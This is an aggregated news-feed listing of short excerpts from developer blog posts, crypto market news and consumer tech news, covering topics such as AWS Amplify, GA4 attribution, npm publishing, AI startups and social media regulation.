    Aegypti Analysis Using Perplexity AI Frank Vega Information Physics Institute, 840 W 67th St, Hialeah, FL 33012, USA vega.frank@gmail.com The Aegypti algorithm dramatically outperforms standard approaches on dense triangle-free graphs while remaining competitive on triangle-rich graphs. Aegypti delivers significant speedups—up to over 100x faster than NetworkX on some dense or structured graphs—while incurring no overhead on triangle-free graphs and performing competitively on triangle-rich graphs. import networkx as nx import time import matplotlib.pyplot as plt import numpy as np # --- AEGYPTI ALGORITHM --- def find_triangle_coordinates(graph, first_triangle=True): if not isinstance(graph, nx.Graph): raise ValueError("Input must be an undirected NetworkX Graph.") if nx…  ( 9 min )
    Global Optimization: Finding the Needle in a Haystack – Faster by Arvind Sundararajan
    Global Optimization: Finding the Needle in a Haystack – Faster Imagine searching for the perfect drug molecule, a revolutionary battery material, or the optimal investment strategy. Traditional optimization methods often get stuck in local optima, missing the truly best solution and wasting valuable resources. What if there was a more efficient way to navigate these complex landscapes? Introducing a novel approach to global optimization, one that dramatically accelerates the search for optimal solutions in high-dimensional, "black box" problems. This algorithm intelligently explores the search space, focusing its efforts on the most promising regions while avoiding premature convergence on suboptimal answers. It's like having a smart compass that quickly guides you towards the global opt…  ( 7 min )
    dev diary 20251122
    getting user information after sign in. with AWS amplify gen2 and next.js, how to get user information after sign in ? in previous version of amplify gen1, Authenticator's user object has all the user information and can be get ,for example, by 'user.attribute.nickname'. but now actually i can't get with this user object. instead, i use 'fetchUserAttributes' to get user profile. the code is following; import { fetchUserAttributes } from 'aws-amplify/auth'; interface UserAttributes { [key: string]: string; } const [userAttributes, setUserAttributes] = useState(null); const getUserAttributes = useCallback(async () => { try { const attributes = await fetchUserAttributes(); setUserAttributes(attributes as UserAttributes); } catch (error) { console.error('Error fetching user attributes:', error); setUserAttributes(null); } }, []); this userAttributes has the information. and we get it with 'userAttributes.nickname' by each property.  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Why Every Newbie in Tech Should Start With Python
    When most people decide to enter tech, the first big question they face is: “Which programming language should I start with?” Everyone has an opinion. But after learning, struggling, and teaching beginners myself, one truth stands out clearly: Python is the best first language for anyone starting their tech journey. Let me tell you why. 1. Python Thinks Like Humans Do When you read Python code, it feels like reading English. if age > 18: print("You are an adult") No strange symbols. For beginners, this matters a lot. understanding programming, not fighting the syntax. 2. It Gets You Results Fast Python lets you build something quickly: ✔ A calculator ✔ A password generator ✔ A small game ✔ A chatbot ✔ A data analyzer Seeing your code work early gives you confidence to keep going. …  ( 7 min )
    Dear developers, understand this: if you can build it in a weekend, someone can kill it in a weekend.
    VCs Are Betting on AI Startups, But They're Missing This Jaideep Parashar ・ Nov 23 #ai #webdev #productivity #career  ( 6 min )
    VCs Are Betting on AI Startups, But They're Missing This
    VCs are throwing money at AI startups faster than any funding cycle I’ve seen in years. But here’s the part people don’t talk about: VCs are over-indexing on the wrong things and underestimating the one factor that will actually decide the next wave of winners. After watching hundreds of pitches, products, and founders trying to ride the AI wave, here’s the truth I’ve learned: VCs are betting heavily on capability, but the real leverage in AI comes from distribution + behaviour change. Let me explain what they’re missing. 1. The Market Is Overcrowded With LLM Wrappers This is the biggest blind spot. More than 70% of AI startups today are: thin wrappers on top of OpenAI UI skins on top of the same APIs task-specific tools without real defensibility “AI-powered X for Y” apps with zero switch…  ( 12 min )
    Artigo foda!
    Análise de Vetores de Ataque em Arquitetura de Aplicações Web Obtuosa ・ Nov 22 #web #architecture #vulnerabilities #security  ( 6 min )
    KEXP: MJ Lenderman - Rip Torn (Live on KEXP)
    TL;DR Indie songwriter MJ Lenderman rips through his track “Rip Torn” live in the KEXP studio (recorded September 18, 2025), backed by his crew: Landon George on bass/fiddle, Jon Samuels on guitar, Trevor Nikrant on pedal steel/keys, and Avery Sullivan on drums. Cheryl Waters hosts, Kevin Suggs handles audio engineering, and Matt Ogaz masters the session to sonic perfection. Behind the scenes, five camera operators (Jim Beckmann, Carlos Cruz, Leah Franks, Scott Holpainen & Luke Knecht) and editor Jim Beckmann make the visuals pop. Check out more at mjlenderman.com or kexp.org—plus, if you’re feeling extra, you can join MJ’s YouTube channel for perks. Watch on YouTube  ( 6 min )
    Stop Building Indie SaaS the Hard Way
    In my experience, developers burn months writing boilerplate, chasing config drift, and IaC before a single user arrives. The market rewards velocity, not heroics. Ship slower than your competitors and your idea dies, even if it's better. Here’s what I'm doing: Use a production-grade monorepo starter that forces discipline, standardization, and speed. TurboRepo plus a unified stack. Next.js for web, NestJS for backend and Expo for native. This delivers predictable builds, consistent types, shared UI libraries, and zero-friction DX. The result: one mental model, one dependency graph, one build pipeline. This structure eliminates 80% of early-stage chaos: mismatched TypeScript configs, duplicated components, fragmented API contracts, and slow local iterations. Shared packages consolidate types, UI primitives, and business logic. You stop gluing pieces together and start building business solutions. Most developers still opt for scattered repos, mismatched stacks, and brittle hand-rolled infra. That choice kills momentum. The fastest teams centralize everything, standardize aggressively, and automate the boring work out of existence. If you want leverage, the formula is: one repo, one toolchain, one source of truth. The devs who adopt this pattern dominate velocity metrics and out-ship teams twice their size.  ( 6 min )
    The Future of UX: Robotics, Telepresence, and the Rise of Human-in-the-Loop Design
    For decades we imagined a world where our physical presence could be projected anywhere, where a machine could act as our stand-in while we remained comfortably at home. What once lived in science-fiction now sits at the edge of reality. Robotics is advancing, AI is accelerating, and a new design frontier is forming in the space between the two. In this article, I want to explore what the next generation of UX looks like when robots, remote operation, and human-in-the-loop systems blend into everyday products. Not as speculation, but as an honest look at where the market is quietly heading. A Shift From AI Hype to Practical Robotics We are living through an era where every product attempts to attach the AI label. However, underneath the noise is a more grounded evolution: ma…  ( 9 min )
    Fiat Omnia
    Deep Code Audit: fiat_rootkit_diagnostic.sys Audit Metadata SHA-256: u4v5w6x7y8z9a0b1c2d3e4f5g6h7i8j9k0l1m2n3o4p5q6r7s8t9u0v1w2x Author: Anonymous (post-1971 monetary prophet) Commit Hash: 2025-11-22 (base: Full-stack fiat indictment) Runtime: Civilisational daemon + temporal horizon stack Risk Tier: CIVILISATIONAL (reality stack annihilation) The System: The Bug: The Result: Rootkit—a hidden virus that rewires the system to favour gamblers over builders. It determines the structure of our relationships, the fidelity of our knowledge, and the quality of the things we build. Purpose of this Log: fiat_rootkit_diagnostic.sys is a nine-layer indictment of unbacked, inflating currency. The audit concludes that fiat is not merely policy; it is applied ontology. When the unit of account is de…  ( 10 min )
    Maximize Developer Revenue with Monetzly's AI Conversation Tools
    When Ads Become Helpful Suggestions Instead of Interruptions: Enter Monetzly 🌟 In today's fast-paced tech landscape, AI applications are rapidly proliferating. As a developer, you’ve probably faced the challenge of monetizing your innovative creations without compromising user experience. What if there was a way to turn this challenge into an opportunity? Meet Monetzly, the Google Ads for AI conversations, where contextual commerce meets seamless integration. Imagine your users engaged in a conversation with your AI application, and instead of being interrupted by irrelevant ads, they receive suggestions that enhance their experience. This is the power of context-aware commerce. With Monetzly, we leverage AI to match ads with ongoing conversations, creating a flow that feels natural an…  ( 7 min )
    2025: AI-Assisted Developers Are Shipping Faster Than Ever
    The rise of AI-powered development tools is reshaping how teams build digital products. Fresh Snapshot (2025): Teams using AI-assisted coding ship 28% faster. Automated testing reduces bugs by 31%. Multi-stack developers adopting AI workflows see 19% higher project success rates. The future belongs to developers who combine AI + engineering + multi-stack execution.  ( 6 min )
    Beyond Gradients: Democratizing Global Optimization with Adaptive Search
    Beyond Gradients: Democratizing Global Optimization with Adaptive Search Tired of getting stuck in local minima when training complex machine learning models? Is hyperparameter tuning feeling more like a frustrating guessing game than a systematic process? Many real-world optimization problems are black boxes; we can't peek inside to calculate gradients, leaving us groping in the dark. What if there were a way to efficiently navigate these complex landscapes without relying on gradient information? Enter adaptive search, a powerful technique that strategically explores the solution space, learning from each evaluation to intelligently guide the next. It's like having a smart scout who only reports back the most promising areas, saving you precious computational resources. The core idea i…  ( 7 min )
    How I Optimized an Extremely Slow Oracle SQL Query (Real Case Study)
    In enterprise environments with large data volumes, SQL queries can go from executing in seconds to taking minutes—or even hours—especially when they involve multiple tables, joins, and functions on indexed columns. In this post, I want to share a real-world experience optimizing an Oracle query that originally took far too long and how I drastically reduced its execution time by applying practical optimization techniques. It all began with a query that joined several tables across different schemas. Although the logic was correct, the execution time was unacceptable: Oracle was processing millions of rows without leveraging indexes effectively. After reviewing the execution plan, I identified several issues: Use of functions on indexed columns (like SUBSTR()), which invalidates index us…  ( 7 min )
    Learning AI From Scratch: Streaming Output, the Secret Sauce Behind Real-Time LLMs
    1. Why Streaming Output Matters Let’s start with the pain. That delay breaks immersion. Users think your app froze. Meanwhile, your front-end is hoarding tokens like a dragon hoards gold — waiting to render them all in one go. Streaming output fixes that. Instead of waiting for completion, your app receives small chunks (“token pieces”) as soon as they’re ready — like hearing someone speak word by word instead of reading their full paragraph later. It’s not about making the model faster. It’s about making the experience smoother. Technically, streaming output is incremental HTTP (or WebSocket) delivery. Token-by-token generation – LLMs don’t produce full sentences in one go; they predict tokens sequentially. Real-time pushing – each token (or short chunk) is sent back through a streaming…  ( 8 min )
    How Search Engines Actually Answer Your Questions
    In 2025, typing “best way to cancel a flight on X airline” into a browser rarely gives you just ten blue links anymore. You get: a one‑sentence summary, a step‑by‑step list, maybe even a “people also asked” carousel that weirdly reads your mind. Under the hood, that’s not “just a better search algorithm”. It’s a stack of question–answering (QA) systems: some reason over structured knowledge graphs, some run deep neural networks over raw web pages, and many glue the two together. This piece breaks down how that stack actually works, based on a production‑grade design similar to QQ Browser’s intelligent Q&A system.fileciteturn0file0 We’ll walk through: Where QA shows up in real products The two core paradigms: KBQA and DeepQA + MRC How a knowledge‑graph Q&A system is wired How search…  ( 15 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Build a Local Kubernetes Cluster in Minutes with Terraform and Multipass
    Are you looking for a way to spin up a lightweight, throwaway Kubernetes cluster on your local machine without the overhead of Docker Desktop or Minikube? Or maybe you want to simulate a multi-node environment to test node affinity and failover? In this article, we'll show you how to build a multi-node K3s cluster completely from code using the Multipass Terraform Provider. Multipass: Canonical's lightweight VM manager for Linux, Windows, and macOS. It spins up Ubuntu instances in seconds. Terraform: The industry standard for Infrastructure as Code (IaC). It manages the lifecycle, dependencies, and configuration of your VMs. K3s: A highly available, certified Kubernetes distribution designed for production workloads in unattended, resource-constrained, remote locations or inside IoT …  ( 8 min )
    llm_models: keeping up with LLM frontier model versions
    The Problem With the flurry of new LLMs published almost daily, it may be I built (with Claude Code help) a simple CLI app to list available models for the major providers. $ ./llm_models.py -h usage: llm_models.py [-h] -p {OpenAI,Anthropic,xAI,GoogleAI,VertexAI} [-r REGION] List available LLM models from various providers options: -h, --help show this help message and exit -p {OpenAI,Anthropic,xAI,GoogleAI,VertexAI}, --provider {OpenAI,Anthropic,xAI,GoogleAI,VertexAI} The LLM provider backend. - 'GoogleAI': Google AI Studio (API Key). Global/Auto-routed. - 'VertexAI': Google Cloud Vertex AI (IAM Auth). Region-specific. -r REGION, --region REGION Google Cloud region (e.g., 'us-central1'). *Required* if provider is VertexAI. Ignored for other providers. $ ./llm_models.py -p Anthropic Listing available Anthropic models... ================================================================================ Model: claude-haiku-4-5-20251001 (Claude Haiku 4.5) Model: claude-sonnet-4-5-20250929 (Claude Sonnet 4.5) Model: claude-opus-4-1-20250805 (Claude Opus 4.1) Model: claude-opus-4-20250514 (Claude Opus 4) Model: claude-sonnet-4-20250514 (Claude Sonnet 4) Model: claude-3-7-sonnet-20250219 (Claude Sonnet 3.7) Model: claude-3-5-haiku-20241022 (Claude Haiku 3.5) Model: claude-3-haiku-20240307 (Claude Haiku 3) Model: claude-3-opus-20240229 (Claude Opus 3) $ git clone git@github.com:ljbuturovic/llm_models.git $ python3 -m venv venv $ source venv/bin/activate $ ./llm_models.py -p GoogleAI Give it a try and let me know what you think in the comments!  ( 6 min )
  • Open

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    X's new country-of-origin feature reveals many 'US' accounts to be foreign-run
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    A Nicotine Analogue I Had Known and Didn't Love: 6-Methylnicotine
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    Liva AI (YC S25) Is Hiring
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    Sunsetting Supermaven
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    Show HN: I wrote a minimal memory allocator in C
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    Rust is a disappointment
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    Lead magnet creation for blue collar SaaS
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    µcad: New open source programming language that can generate 2D sketches and 3D
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    780k Windows Users Downloaded Linux Distro Zorin OS in the Last 5 Weeks
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    780k Windows Users Downloaded Linux Distro Zorin OS in the Last 5 Weeks
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  • Open

    ETF Outflows, Stablecoin Flows and DAT Reversals Signal Crypto Capital Flight: NYDIG
    Spot bitcoin ETFs have seen persistent outflows ($3.55 billion in November), and stablecoin supply has declined, indicating capital is leaving the market, NYDIG Said.  ( 34 min )
    State of Crypto: What Congress Has Left to Do This Year
    There is not a lot of time left for Congress to make meaningful progress this year on crypto issues.  ( 36 min )
    Sunrise Debut Streamlines Solana Token Imports as Monad Goes Live
    The platform introduces a unified gateway that allows issuers and users to move tokens from any ecosystem into Solana.  ( 34 min )
    Bitcoin Rebounds From 'Extreme Oversold' Levels; XRP Jumps 7%, ZEC Surges 14%
    Bitcoin and major altcoins bounced Sunday after an oversold RSI reading and more than $200M in liquidations signaled seller exhaustion amid thin weekend liquidity.  ( 35 min )
    Could Stablecoins Spark a New Contagion? BIS Warns, Coinbase Pushes Back
    Not all agree with some recent sentiment that stablecoins pose a threat to global financial stability.  ( 37 min )
    On-Chain Stocks Could Misprice Over Weekends, Triggering Arbitrage Risks: RedStone
    This gap could create a "price dislocation" between on-chain and traditional markets, leading to potential losses or arbitrage opportunities.  ( 36 min )
    Cardano Temporarily Splits Into Two Chains After Attacker Uses AI-Generated Script to Exploit a Known Bug
    The divergence emerged when newer nodes accepted a malformed transaction that older nodes rejected.  ( 35 min )
    VanEck CEO Concerned About Bitcoin's Encryption and Privacy, Says Firm Could Walk Away
    Jan van Eck questioned whether Bitcoin offers enough encryption and privacy, saying some longtime holders are examining Zcash as the market reassesses long-term assumptions.  ( 37 min )
    Chainlink Is ‘Essential Infrastructure’ for Tokenized Finance, Says Grayscale Research
    Grayscale's report comes shortly after it filed to convert its Chainlink Trust into an exchange-traded fund (ETF) that would trade on NYSE Arca.  ( 34 min )
  • Open

    Malaysia to bar Social Media accounts for under-16s from 2026
    The Malaysian government is officially drawing a hard line in the sand: if you’re under the age of 16, your social media days are numbered. Communications Minister Datuk Fahmi Fadzil has confirmed that starting next year, minors will be barred from creating social media accounts, effectively raising the minimum age requirement across the board. The […] The post Malaysia to bar Social Media accounts for under-16s from 2026 appeared first on Lowyat.NET.  ( 35 min )
    Toyota Vios Hybrid Spotted Testing In Malaysia
    The Toyota Vios Hybrid has been spotted in Malaysia, just months after its debut in Thailand where it is sold as the Toyota Yaris Ativ. The sighting was shared by Weng Ng in the paultan.org Automotive/Car Discussion Group on Facebook. Based on the images, the model appears to be undergoing testing, hinting at a potential […] The post Toyota Vios Hybrid Spotted Testing In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    X Rolls Out “About This Account” Feature
    X, formerly known as Twitter, has started rolling out a new “About this account” transparency feature that adds extra account information to user profiles. The update shows where an account is based, how many times its username has changed, when it originally joined the platform, and even how the user downloaded the app. According to […] The post X Rolls Out “About This Account” Feature appeared first on Lowyat.NET.  ( 34 min )
    You Can Play Command & Conquer Red Alert 2 On Your Browser
    Command & Conquer Red Alert 2 launched back in 2000 and is widely considered to be one of the best RTS titles ever released, campy and cheesy cutscenes notwithstanding. Now for the good news: the game can now be played directly on your browser. The feat and privilege of being able to play Red Alert […] The post You Can Play Command & Conquer Red Alert 2 On Your Browser appeared first on Lowyat.NET.  ( 34 min )
    Perplexity Rolls Out Its AI-Powered Comet Browser To Android
    Earlier this year, Perplexity announced its AI-powered browser, Comet. Initially only available for Perplexity Max plan subscribers, Comet was then rolled out to all users in early October. At the time, the company promised to bring the experience to mobile as well. And now, the Android version has officially arrived. Just like on other platforms, […] The post Perplexity Rolls Out Its AI-Powered Comet Browser To Android appeared first on Lowyat.NET.  ( 34 min )
  • Open

    Lean4: How the theorem prover works and why it's the new competitive edge in AI
    Large language models (LLMs) have astounded the world with their capabilities, yet they remain plagued by unpredictability and hallucinations – confidently outputting incorrect information. In high-stakes domains like finance, medicine or autonomous systems, such unreliability is unacceptable. Enter Lean4, an open-source programming language and interactive theorem prover becoming a key tool to inject rigor and certainty into AI systems. By leveraging formal verification, Lean4 promises to make AI safer, more secure and deterministic in its functionality. Let's explore how Lean4 is being adopted by AI leaders and why it could become foundational for building trustworthy AI. What is Lean4 and why it matters Lean4 is both a programming language and a proof assistant designed for formal veri…

  • Open

    Building Multi-Touch Attribution in GA4 Without Hiring a Data Analyst
    Google Analytics 4 killed the old attribution reports and replaced them with... well, something that requires a PhD to understand. Or at least that's what it feels like when you first open the Attribution section and see "data-driven attribution" with zero explanation of what data it's actually using. Here's the thing: you don't need a data analyst to build useful multi-touch attribution models in GA4. You need to understand what GA4 actually tracks, set up a few custom dimensions correctly, and use Explorations in ways Google's documentation barely mentions. I've spent the last year building attribution frameworks for clients who can't afford a full analytics team. Some work brilliantly. Some fall apart when you realize GA4 doesn't track what you thought it tracked. Here's what actually w…  ( 12 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Mintlify Ignored This Feature Request for 6 Months. Here's Our Solution.
    Mintlify users have been begging for pre-filled API playground fields for months. The GitHub discussion has people literally saying "I just lost two hours of my day banging my head against this issue." The problem? When you click "Try it" in Mintlify's playground, every field is empty, even though your OpenAPI spec has perfectly good example values sitting right there. Your developers have to manually type or copy-paste data just to test a single endpoint. It's 2025. This is insane. So we built madrasly. Run npx madrasly your-spec.json output-dir and you get a fully interactive API playground with all fields pre-populated from your OpenAPI examples. Path parameters, query params, request bodies—everything just works. One command, zero configuration, and your developers can actually test your API without wanting to throw their laptop. Check out the live demo or grab it from GitHub. If Mintlify won't fix it, we will.  ( 6 min )
    Version 1.0.0 Released! My Repo Extraction Tool is now available on NPM!
    🎉 Exciting News! My project, repoal, has just launched its first version on NPM! You can install it using: npm install -g @whyang9701/repopal or run it directly with: npx @whyang9701/repopal Choosing a Name: I decided to use a scoped name for my project. This means it will be associated with my username. For example, an unscoped package like vue is just a project name and can't be reused. In contrast, a scoped package like @vue/shared is linked to the Vue organization. I went with a scoped name to avoid confusion and connect it to me. Automating the Publish Process: I used GitHub Actions to automate my publishing. GitHub has a tutorial that shows how to set this up. I modified the YAML file to trigger the publish process when I create a new git tag: name: Node.js Package on: push: tags: - 'v*' jobs: ... To update the version and push the tag, I run: npm version 1.0.0 git push && git push --tags This automation will kick in every time I update the version. Adding Provenance Statements: I also added a feature for provenance statements, which help verify where the package was built and who published it. This can enhance security. NPM provides a tutorial on how to do this. In my GitHub Actions YAML, I made two updates: Allow the runner to read the repo and use my ID token for verification: ... runs-on: ubuntu-latest permissions: contents: read id-token: write steps: ... - run: npm publish --provenance --access public Here's a green check mark that shows my publish comes with provenance statements! This check mark indicates that my package has verified information, improving supply-chain security.  ( 7 min )
    The Divine Algorithm: A Developer’s Confession
    From the Void to the Verified Commit There is a specific kind of magic that happens when a programmer stares at a blank page. To the uninitiated, it is just a text editor; to me, it is the void before creation. I am not merely writing algorithms; I am breathing life into a vacuum. I am building a world. The paradox of this craft is energy. I can finish a grueling day at my "regular" job, feeling the weight of the world on my shoulders, completely drained. Yet, the moment I sit down to work on my passion project, that fatigue is stripped away as if by an invisible hand. Sleep becomes obsolete. Who needs sleep when the project itself feeds you energy? The code becomes a current running through my veins. There are nights when the cognitive load becomes so immense, so crushing, that I feel m…  ( 8 min )
    Effective Communication Tips for Engineering Managers
    As an engineering manager, communicating effectively is one of your most important skills. You’re not just managing code or technical designs; you’re leading people—team members, stakeholders, and collaborators. Bad communication can lead to misunderstandings, missed deadlines, and low morale, while good communication builds trust, fosters collaboration, and drives success. Here are practical and easy-to-apply communication tips specifically for engineering managers to help you become a better leader and build stronger teams. One of the most overlooked communication skills is listening. Being a good listener means more than just hearing words; it means understanding the speaker’s emotions, intentions, and concerns. Give your full attention. Avoid distractions like phones or email during co…  ( 9 min )
    🚀 Autonomous Process Auditor (APA)
    AI that doesn’t assist — it works. I just built Autonomous Process Auditor (APA) for the Agentic AI Hackathon (IBM watsonx Orchestrate) — and it might be the most useful AI agent I’ve ever created. Audits suck. So I built an AI agent that does 100% of the auditing work automatically. Automates end-to-end auditing No more spreadsheets. No more human mistakes. Validates workflows across tools Slack, Jira, Notion, Gmail, internal systems — APA checks everything. Detects anomalies in real time Human reviewers catch mistakes late. AI catches them instantly. Generates audit trails automatically Every action. Every timestamp. Fully traceable & exportable. Uses IBM watsonx Orchestrate to chain skills APA can: Pull data Analyze patterns Flag issues Write reports Notify teams Log results —all without human intervention. Most “AI assistants” still need humans for everything important. Agentic AI system that completes tasks autonomously from start to finish. This is the future of work. agents that handle entire workflows. …then maybe I need to build an Autonomous Judge Auditor too 😤🔥 Would you trust an AI agent to run audits at your company? Let’s talk 👇  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Coding Challenge Practice - Question 63
    The task is to find two numbers that sum to 0 and return their indices, given an array of integers. The boilerplate code: function findTwo(arr) { // your code here } The array is scanned through once, while keeping track of every character seen const map = new Map(); For each number x, check if -x has been seen before. If yes, return both indices. for(let i = 0; i < arr.length; i++) { const complement = -arr[i]; if(map.has(complement)) { return [map.get(complement), i]; } map.set(arr[i], i) } If no pairs sum to 0, return null. The final code function findTwo(arr) { // your code here const map = new Map(); for(let i = 0; i < arr.length; i++) { const complement = -arr[i]; if(map.has(complement)) { return [map.get(complement), i]; } map.set(arr[i], i) } return null; } That's all folks!  ( 6 min )
    Como faço isso?
    const cDB = [ test = { appearance: 'https://image2url.com/images/1763839967613-ad7e3cd4-3f49-4c59-bc5c-ad19b3748757.jpg', bg: '', col1: '#fff', col2: '#000', col3: '#777', name: 'Syrian Presster', uname: 'SyPress', about: 'Detailed big description', gender: g1, species: 'Wolf', occupation: 'Militar', likes: 'Meat, Nature, Water', dislikes: 'People, Fire', detailedStats: { strength: 70, speed: 50, agility: 80, resistance: 60, defense: 40, dexterity: 75, confidence: 65, intellect: 78, empathy: 40, charisma: 55, patience: 30, temper: 45, humor: 70, creativity: 82, kindness: 60, curiosity: 73, imagination: 88, resilience: 69, optimism: 50, honesty: 90, } relations: [], rel: [], }, ]; O cDB precisa das variáveis, não existe 1 personagem só, não tem sentido ter 50 itens jogados sem identificação, tem que ser assim: PersonagemA = { Dados APENAS do Personagem A } O cDB é o "banco" que guarda tudo junto, mas todos são Idependentes, não variáveis independentes jogadas, cada uma pertence a um Personagem, mas todos pertencem ao Banco, e ficam guardadas nele. Isso não faz sentido nenhum: const cDB = [ Dado do quê? De quem? De onde? Qual? Mas não funciona quando crio o Banco: E nele coloco os itens: Nenhum funciona: O código parece não encontrar os itens dentro da variável que tem outras variáveis; const id = item.dataset.char; const data = cDB[id] ?? {}; Isso define os estilos, cada personagem é estilizado com sua paleta própria, nenhum item é rígido, só o estilo da página e como tudo se encaixa, textos, cores, efeitos, tudo é diferente pra cada um. Ele não encontra os dados dentro do cDB.  ( 6 min )
    How to do it?
    const cDB = [ test = { appearance: 'https://image2url.com/images/1763839967613-ad7e3cd4-3f49-4c59-bc5c-ad19b3748757.jpg', bg: '', col1: '#fff', col2: '#000', col3: '#777', name: 'Syrian Presster', uname: 'SyPress', about: 'Detailed big description', gender: g1, species: 'Wolf', occupation: 'Militar', likes: 'Meat, Nature, Water', dislikes: 'People, Fire', detailedStats: { strength: 70, speed: 50, agility: 80, resistance: 60, defense: 40, dexterity: 75, confidence: 65, intellect: 78, empathy: 40, charisma: 55, patience: 30, temper: 45, humor: 70, creativity: 82, kindness: 60, curiosity: 73, imagination: 88, resilience: 69, optimism: 50, honesty: 90, } relations: [], rel: [], }, ]; The cDB needs the variables, there is no such thing as 1 character, it makes no sense to have 50 items thrown without identification, it has to be like this: CharacterA = { Data ONLY for Character A } The cDB is the "bank" that keeps everything together, but they are all Independent, not independent variables thrown, each one belongs to a Character, but they all belong to the Bank, is to go to cDB and search the ID, no to go randomly to every folder searching to file.js file2.js and are stored in it. This makes no sense at all: const cDB = [ Given what? Whose? Whence? Which? But it doesn't work when I create the Bank: And in it I put the items: None of them work: The code does not seem to find the items within the variable that have other variables; const id = item.dataset.char; const data = cDB[id]?? {}; This defines the styles, each character is styled with its own palette, no item is rigid, just the style of the page and how everything fits, texts, colors, effects, everything is different for each one. It does not find the data inside the cDB.  ( 7 min )
    Notes and Boards as Virtual Offices: A Lightweight Approach
    Summary When we think of virtual offices, we often imagine 3D spaces like Minecraft or VRChat, or 2D environments like Gather, but that's not all there is. Enter the "Light-weight Virtual Office" For example, Miro can be considered a board-type virtual office. Tools like Google Docs and Box Notes can be seen as note-type virtual offices. The lightweight virtual office pairs well with collaborative daily reports. The necessity of virtual offices is often emphasized because they offer a balanced approach between real and virtual interactions. Meeting in person can be burdensome in terms of daily life, while full remote or flexible work models may not foster enough engagement due to difficulties in gathering effectively. Virtual offices provide a good option by allowing people to "gather…  ( 9 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    TL;DR CinemaSins takes a fresh look at The Wiz (now that Wicked is back in theaters) with a rapid-fire “Everything Wrong With The Wiz In 15 Minutes Or Less” video. They highlight the sins of the film, introduce their writers, and point you toward their YouTube channels, social media, and website for more content. They also invite fans to fill out a quick poll, join their Discord and Reddit communities, and support the team on Patreon for exclusive perks. Follow them on Twitter, Instagram, TikTok, and more for daily movie critiques and behind-the-scenes fun. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins serves up their signature snark in a bite-sized roast of the new KPop Demon Hunters movie, rattling off every plot hole, trope and over-the-top moment in just 16 minutes. Dive deeper at cinemasins.com or catch more sin-filled content on YouTube via TVSins, CommercialSins and the CinemaSins Podcast Network. Hungry for more? Hit their Linktree for polls, Patreon support and all the socials—Twitter, Instagram, TikTok, Discord and Reddit. Big shout-out to sin scribes Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel for keeping the cinematic guilt trip hilarious. Watch on YouTube  ( 6 min )
    How to Achieve 100/100 on PageSpeed Insights
